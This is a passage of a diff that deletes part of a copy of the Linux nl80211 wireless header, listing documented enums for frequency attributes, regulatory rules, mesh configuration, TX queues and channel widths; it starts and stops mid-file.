- *	an authorized master, i.e., setting up a GO while the device is also
- *	connected to an AP with DFS and radar detection on the UNII band (it is
- *	up to user-space, i.e., wpa_supplicant to perform the required
- *	verifications)
- * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
- *	currently defined
- * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
- *
- * See
- *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
- * for more information on the FCC description of the relaxations allowed
- * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
- * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
- */
-enum nl80211_frequency_attr {
-  __NL80211_FREQUENCY_ATTR_INVALID,
-  NL80211_FREQUENCY_ATTR_FREQ,
-  NL80211_FREQUENCY_ATTR_DISABLED,
-  NL80211_FREQUENCY_ATTR_NO_IR,
-  __NL80211_FREQUENCY_ATTR_NO_IBSS,
-  NL80211_FREQUENCY_ATTR_RADAR,
-  NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
-  NL80211_FREQUENCY_ATTR_DFS_STATE,
-  NL80211_FREQUENCY_ATTR_DFS_TIME,
-  NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
-  NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
-  NL80211_FREQUENCY_ATTR_NO_80MHZ,
-  NL80211_FREQUENCY_ATTR_NO_160MHZ,
-  NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
-  NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
-  NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
-  NL80211_FREQUENCY_ATTR_NO_20MHZ,
-  NL80211_FREQUENCY_ATTR_NO_10MHZ,
-
-  /* keep last */
-  __NL80211_FREQUENCY_ATTR_AFTER_LAST,
-  NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
-#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
-
-/**
- * enum nl80211_bitrate_attr - bitrate attributes
- * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
- * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
- *	in 2.4 GHz band.
- * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
- *	currently defined
- * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_bitrate_attr {
-  __NL80211_BITRATE_ATTR_INVALID,
-  NL80211_BITRATE_ATTR_RATE,
-  NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
-
-  /* keep last */
-  __NL80211_BITRATE_ATTR_AFTER_LAST,
-  NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_initiator - Indicates the initiator of a reg domain request
- * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
- * 	wireless core it thinks its knows the regulatory domain we should be in.
- * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
- * 	802.11 country information element with regulatory information it
- * 	thinks we should consider. cfg80211 only processes the country
- *	code from the IE, and relies on the regulatory domain information
- *	structure passed by userspace (CRDA) from our wireless-regdb.
- *	If a channel is enabled but the country code indicates it should
- *	be disabled we disable the channel and re-enable it upon disassociation.
- */
-enum nl80211_reg_initiator {
-  NL80211_REGDOM_SET_BY_CORE,
-  NL80211_REGDOM_SET_BY_USER,
-  NL80211_REGDOM_SET_BY_DRIVER,
-  NL80211_REGDOM_SET_BY_COUNTRY_IE,
-};
-
-/**
- * enum nl80211_reg_type - specifies the type of regulatory domain
- * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
- *	to a specific country. When this is set you can count on the
- *	ISO / IEC 3166 alpha2 country code being valid.
- * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
- * 	domain.
- * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
- * 	driver specific world regulatory domain. These do not apply system-wide
- * 	and are only applicable to the individual devices which have requested
- * 	them to be applied.
- * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
- *	of an intersection between two regulatory domains -- the previously
- *	set regulatory domain on the system and the last accepted regulatory
- *	domain request to be processed.
- */
-enum nl80211_reg_type {
-  NL80211_REGDOM_TYPE_COUNTRY,
-  NL80211_REGDOM_TYPE_WORLD,
-  NL80211_REGDOM_TYPE_CUSTOM_WORLD,
-  NL80211_REGDOM_TYPE_INTERSECTION,
-};
-
-/**
- * enum nl80211_reg_rule_attr - regulatory rule attributes
- * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
- * 	considerations for a given frequency range. These are the
- * 	&enum nl80211_reg_rule_flags.
- * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
- * 	rule in KHz. This is not a center of frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
- * 	in KHz. This is not a center a frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
- *	frequency range, in KHz.
- * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
- * 	for a given frequency range. The value is in mBi (100 * dBi).
- * 	If you don't have one then don't send this.
- * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
- * 	a given frequency range. The value is in mBm (100 * dBm).
- * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- *	If not present or 0 default CAC time will be used.
- * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
- *	currently defined
- * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_reg_rule_attr {
-  __NL80211_REG_RULE_ATTR_INVALID,
-  NL80211_ATTR_REG_RULE_FLAGS,
-
-  NL80211_ATTR_FREQ_RANGE_START,
-  NL80211_ATTR_FREQ_RANGE_END,
-  NL80211_ATTR_FREQ_RANGE_MAX_BW,
-
-  NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
-  NL80211_ATTR_POWER_RULE_MAX_EIRP,
-
-  NL80211_ATTR_DFS_CAC_TIME,
-
-  /* keep last */
-  __NL80211_REG_RULE_ATTR_AFTER_LAST,
-  NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
- *	only report BSS with matching SSID.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
- *	BSS in scan results. Filtering is turned off if not specified. Note that
- *	if this attribute is in a match set of its own, then it is treated as
- *	the default value for all matchsets with an SSID, rather than being a
- *	matchset of its own without an RSSI filter. This is due to problems with
- *	how this API was implemented in the past. Also, due to the same problem,
- *	the only way to create a matchset with only an RSSI filter (with this
- *	attribute) is if there's only a single matchset with the RSSI attribute.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
- *	attribute number currently defined
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_sched_scan_match_attr {
-  __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
-
-  NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
-  NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
-
-  /* keep last */
-  __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
-  NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
-      __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
-};
-
-/* only for backward compatibility */
-#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
-
-/**
- * enum nl80211_reg_rule_flags - regulatory rule flags
- *
- * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
- * @NL80211_RRF_NO_CCK: CCK modulation not allowed
- * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
- * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
- * @NL80211_RRF_DFS: DFS support is required to be used
- * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
- * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
- * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
- * 	this includes probe requests or modes of operation that require
- * 	beaconing.
- * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
- *	base on contiguous rules and wider channels will be allowed to cross
- *	multiple contiguous/overlapping frequency ranges.
- */
-enum nl80211_reg_rule_flags {
-  NL80211_RRF_NO_OFDM = 1 << 0,
-  NL80211_RRF_NO_CCK = 1 << 1,
-  NL80211_RRF_NO_INDOOR = 1 << 2,
-  NL80211_RRF_NO_OUTDOOR = 1 << 3,
-  NL80211_RRF_DFS = 1 << 4,
-  NL80211_RRF_PTP_ONLY = 1 << 5,
-  NL80211_RRF_PTMP_ONLY = 1 << 6,
-  NL80211_RRF_NO_IR = 1 << 7,
-  __NL80211_RRF_NO_IBSS = 1 << 8,
-  NL80211_RRF_AUTO_BW = 1 << 11,
-};
-
-#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
-
-/* For backport compatibility with older userspace */
-#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
-
-/**
- * enum nl80211_dfs_regions - regulatory DFS regions
- *
- * @NL80211_DFS_UNSET: Country has no DFS master region specified
- * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
- * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
- * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
- */
-enum nl80211_dfs_regions {
-  NL80211_DFS_UNSET = 0,
-  NL80211_DFS_FCC = 1,
-  NL80211_DFS_ETSI = 2,
-  NL80211_DFS_JP = 3,
-};
-
-/**
- * enum nl80211_user_reg_hint_type - type of user regulatory hint
- *
- * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
- *	assumed if the attribute is not set.
- * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
- *	base station. Device drivers that have been tested to work
- *	properly to support this type of hint can enable these hints
- *	by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
- *	capability on the struct wiphy. The wireless core will
- *	ignore all cell base station hints until at least one device
- *	present has been registered with the wireless core that
- *	has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
- *	supported feature.
- * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
- *	platform is operating in an indoor environment.
- */
-enum nl80211_user_reg_hint_type {
-  NL80211_USER_REG_HINT_USER = 0,
-  NL80211_USER_REG_HINT_CELL_BASE = 1,
-  NL80211_USER_REG_HINT_INDOOR = 2,
-};
-
-/**
- * enum nl80211_survey_info - survey information
- *
- * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
- * when getting information about a survey.
- *
- * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
- * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
- * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
- * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
- *	spent on this channel
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
- *	channel was sensed busy (either due to activity or energy detect)
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
- *	channel was sensed busy
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
- *	receiving data
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
- *	transmitting data
- * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
- *	currently defined
- * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
- */
-enum nl80211_survey_info {
-  __NL80211_SURVEY_INFO_INVALID,
-  NL80211_SURVEY_INFO_FREQUENCY,
-  NL80211_SURVEY_INFO_NOISE,
-  NL80211_SURVEY_INFO_IN_USE,
-  NL80211_SURVEY_INFO_CHANNEL_TIME,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
-
-  /* keep last */
-  __NL80211_SURVEY_INFO_AFTER_LAST,
-  NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mntr_flags - monitor configuration flags
- *
- * Monitor configuration flags.
- *
- * @__NL80211_MNTR_FLAG_INVALID: reserved
- *
- * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
- * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
- * @NL80211_MNTR_FLAG_CONTROL: pass control frames
- * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
- * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
- *	overrides all other flags.
- * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
- *	and ACK incoming unicast packets.
- *
- * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
- * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
- */
-enum nl80211_mntr_flags {
-  __NL80211_MNTR_FLAG_INVALID,
-  NL80211_MNTR_FLAG_FCSFAIL,
-  NL80211_MNTR_FLAG_PLCPFAIL,
-  NL80211_MNTR_FLAG_CONTROL,
-  NL80211_MNTR_FLAG_OTHER_BSS,
-  NL80211_MNTR_FLAG_COOK_FRAMES,
-  NL80211_MNTR_FLAG_ACTIVE,
-
-  /* keep last */
-  __NL80211_MNTR_FLAG_AFTER_LAST,
-  NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_power_mode - mesh power save modes
- *
- * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
- *	not known or has not been set yet.
- * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
- *	in Awake state all the time.
- * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but will wake up for
- *	neighbor's beacons.
- * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but may not wake up
- *	for neighbor's beacons.
- *
- * @__NL80211_MESH_POWER_AFTER_LAST - internal use
- * @NL80211_MESH_POWER_MAX - highest possible power save level
- */
-
-enum nl80211_mesh_power_mode {
-  NL80211_MESH_POWER_UNKNOWN,
-  NL80211_MESH_POWER_ACTIVE,
-  NL80211_MESH_POWER_LIGHT_SLEEP,
-  NL80211_MESH_POWER_DEEP_SLEEP,
-
-  __NL80211_MESH_POWER_AFTER_LAST,
-  NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_meshconf_params - mesh configuration parameters
- *
- * Mesh configuration parameters. These can be changed while the mesh is
- * active.
- *
- * @__NL80211_MESHCONF_INVALID: internal use
- *
- * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
- *	millisecond units, used by the Peer Link Open message
- *
- * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
- *	millisecond units, used by the peer link management to close a peer link
- *
- * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
- *	millisecond units
- *
- * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
- *	on this mesh interface
- *
- * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
- *	open retries that can be sent to establish a new peer link instance in a
- *	mesh
- *
- * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
- *	point.
- *
- * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
- *	peer links when we detect compatible mesh peers. Disabled if
- *	@NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
- *are set.
- *
- * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
- *	containing a PREQ that an MP can send to a particular destination (path
- *	target)
- *
- * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
- *	(in milliseconds)
- *
- * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
- *	until giving up on a path discovery (in milliseconds)
- *
- * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
- *	points receiving a PREQ shall consider the forwarding information from
- *	the root to be valid. (TU = time unit)
- *
- * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which an MP can send only one action frame containing a PREQ
- *	reference element
- *
- * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
- *	that it takes for an HWMP information element to propagate across the
- *	mesh
- *
- * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
- *
- * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
- *	source mesh point for path selection elements.
- *
- * @NL80211_MESHCONF_HWMP_RANN_INTERVAL:  The interval of time (in TUs) between
- *	root announcements are transmitted.
- *
- * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
- *	access to a broader network beyond the MBSS.  This is done via Root
- *	Announcement frames.
- *
- * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which a mesh STA can send only one Action frame containing a
- *	PERR element.
- *
- * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
- *	or forwarding entity (default is TRUE - forwarding entity)
- *
- * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
- *	threshold for average signal strength of candidate station to establish
- *	a peer link.
- *
- * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
- *	to synchronize to for 11s default synchronization method
- *	(see 11C.12.2.2)
- *
- * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
- *
- * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
- *
- * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
- *	which mesh STAs receiving a proactive PREQ shall consider the forwarding
- *	information to the root mesh STA to be valid.
- *
- * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
- *	proactive PREQs are transmitted.
- *
- * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
- *	(in TUs) during which a mesh STA can send only one Action frame
- *	containing a PREQ element for root path confirmation.
- *
- * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
- *	type &enum nl80211_mesh_power_mode (u32)
- *
- * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
- *
- * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
- *	established peering with for longer than this time (in seconds), then
- *	remove it from the STA's list of peers.  Default is 30 minutes.
- *
- * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_meshconf_params {
-  __NL80211_MESHCONF_INVALID,
-  NL80211_MESHCONF_RETRY_TIMEOUT,
-  NL80211_MESHCONF_CONFIRM_TIMEOUT,
-  NL80211_MESHCONF_HOLDING_TIMEOUT,
-  NL80211_MESHCONF_MAX_PEER_LINKS,
-  NL80211_MESHCONF_MAX_RETRIES,
-  NL80211_MESHCONF_TTL,
-  NL80211_MESHCONF_AUTO_OPEN_PLINKS,
-  NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
-  NL80211_MESHCONF_PATH_REFRESH_TIME,
-  NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
-  NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
-  NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
-  NL80211_MESHCONF_HWMP_ROOTMODE,
-  NL80211_MESHCONF_ELEMENT_TTL,
-  NL80211_MESHCONF_HWMP_RANN_INTERVAL,
-  NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
-  NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
-  NL80211_MESHCONF_FORWARDING,
-  NL80211_MESHCONF_RSSI_THRESHOLD,
-  NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
-  NL80211_MESHCONF_HT_OPMODE,
-  NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
-  NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
-  NL80211_MESHCONF_POWER_MODE,
-  NL80211_MESHCONF_AWAKE_WINDOW,
-  NL80211_MESHCONF_PLINK_TIMEOUT,
-
-  /* keep last */
-  __NL80211_MESHCONF_ATTR_AFTER_LAST,
-  NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_setup_params - mesh setup parameters
- *
- * Mesh setup parameters.  These are used to start/join a mesh and cannot be
- * changed while the mesh is active.
- *
- * @__NL80211_MESH_SETUP_INVALID: Internal use
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
- *	vendor specific path selection algorithm or disable it to use the
- *	default HWMP.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
- *	vendor specific path metric or disable it to use the default Airtime
- *	metric.
- *
- * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
- *	robust security network ie, or a vendor specific information element
- *	that vendors will use to identify the path selection methods and
- *	metrics in use.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
- *	daemon will be authenticating mesh candidates.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
- *	daemon will be securing peer link frames.  AMPE is a secured version of
- *	Mesh Peering Management (MPM) and is implemented with the assistance of
- *	a userspace daemon.  When this flag is set, the kernel will send peer
- *	management frames to a userspace daemon that will implement AMPE
- *	functionality (security capabilities selection, key confirmation, and
- *	key management).  When the flag is unset (default), the kernel can
- *	autonomously complete (unsecured) mesh peering without the need of a
- *	userspace daemon.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
- *	vendor specific synchronization method or disable it to use the default
- *	neighbor offset synchronization
- *
- * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
- *	implement an MPM which handles peer allocation and state.
- *
- * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
- *	method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
- *	Default is no authentication method required.
- *
- * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
- *
- * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
- */
-enum nl80211_mesh_setup_params {
-  __NL80211_MESH_SETUP_INVALID,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
-  NL80211_MESH_SETUP_IE,
-  NL80211_MESH_SETUP_USERSPACE_AUTH,
-  NL80211_MESH_SETUP_USERSPACE_AMPE,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
-  NL80211_MESH_SETUP_USERSPACE_MPM,
-  NL80211_MESH_SETUP_AUTH_PROTOCOL,
-
-  /* keep last */
-  __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
-  NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_txq_attr - TX queue parameter attributes
- * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
- * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
- * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
- *	disabled
- * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
- * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
- * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
- */
-enum nl80211_txq_attr {
-  __NL80211_TXQ_ATTR_INVALID,
-  NL80211_TXQ_ATTR_AC,
-  NL80211_TXQ_ATTR_TXOP,
-  NL80211_TXQ_ATTR_CWMIN,
-  NL80211_TXQ_ATTR_CWMAX,
-  NL80211_TXQ_ATTR_AIFS,
-
-  /* keep last */
-  __NL80211_TXQ_ATTR_AFTER_LAST,
-  NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
-};
-
-enum nl80211_ac {
-  NL80211_AC_VO,
-  NL80211_AC_VI,
-  NL80211_AC_BE,
-  NL80211_AC_BK,
-  NL80211_NUM_ACS
-};
-
-/* backward compat */
-#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
-#define NL80211_TXQ_Q_VO NL80211_AC_VO
-#define NL80211_TXQ_Q_VI NL80211_AC_VI
-#define NL80211_TXQ_Q_BE NL80211_AC_BE
-#define NL80211_TXQ_Q_BK NL80211_AC_BK
-
-/**
- * enum nl80211_channel_type - channel type
- * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
- * @NL80211_CHAN_HT20: 20 MHz HT channel
- * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
- *	below the control channel
- * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
- *	above the control channel
- */
-enum nl80211_channel_type {
-  NL80211_CHAN_NO_HT,
-  NL80211_CHAN_HT20,
-  NL80211_CHAN_HT40MINUS,
-  NL80211_CHAN_HT40PLUS
-};
-
-/**
- * enum nl80211_chan_width - channel width definitions
- *
- * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
- * attribute.
- *
- * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
- * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
- * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
- * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
- * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
- */
-enum nl80211_chan_width {
-  NL80211_CHAN_WIDTH_20_NOHT,
-  NL80211_CHAN_WIDTH_20,
-  NL80211_CHAN_WIDTH_40,
-  NL80211_CHAN_WIDTH_80,
-  NL80211_CHAN_WIDTH_80P80,
-  NL80211_CHAN_WIDTH_160,
-  NL80211_CHAN_WIDTH_5,
-  NL80211_CHAN_WIDTH_10,
-};
-
-/**
- * enum nl80211_bss_scan_width - control channel width for a BSS
- *
- * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
- *
- * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
- * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
- * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
- */
-enum nl80211_bss_scan_width {
-  NL80211_BSS_CHAN_WIDTH_20,
-  NL80211_BSS_CHAN_WIDTH_10,
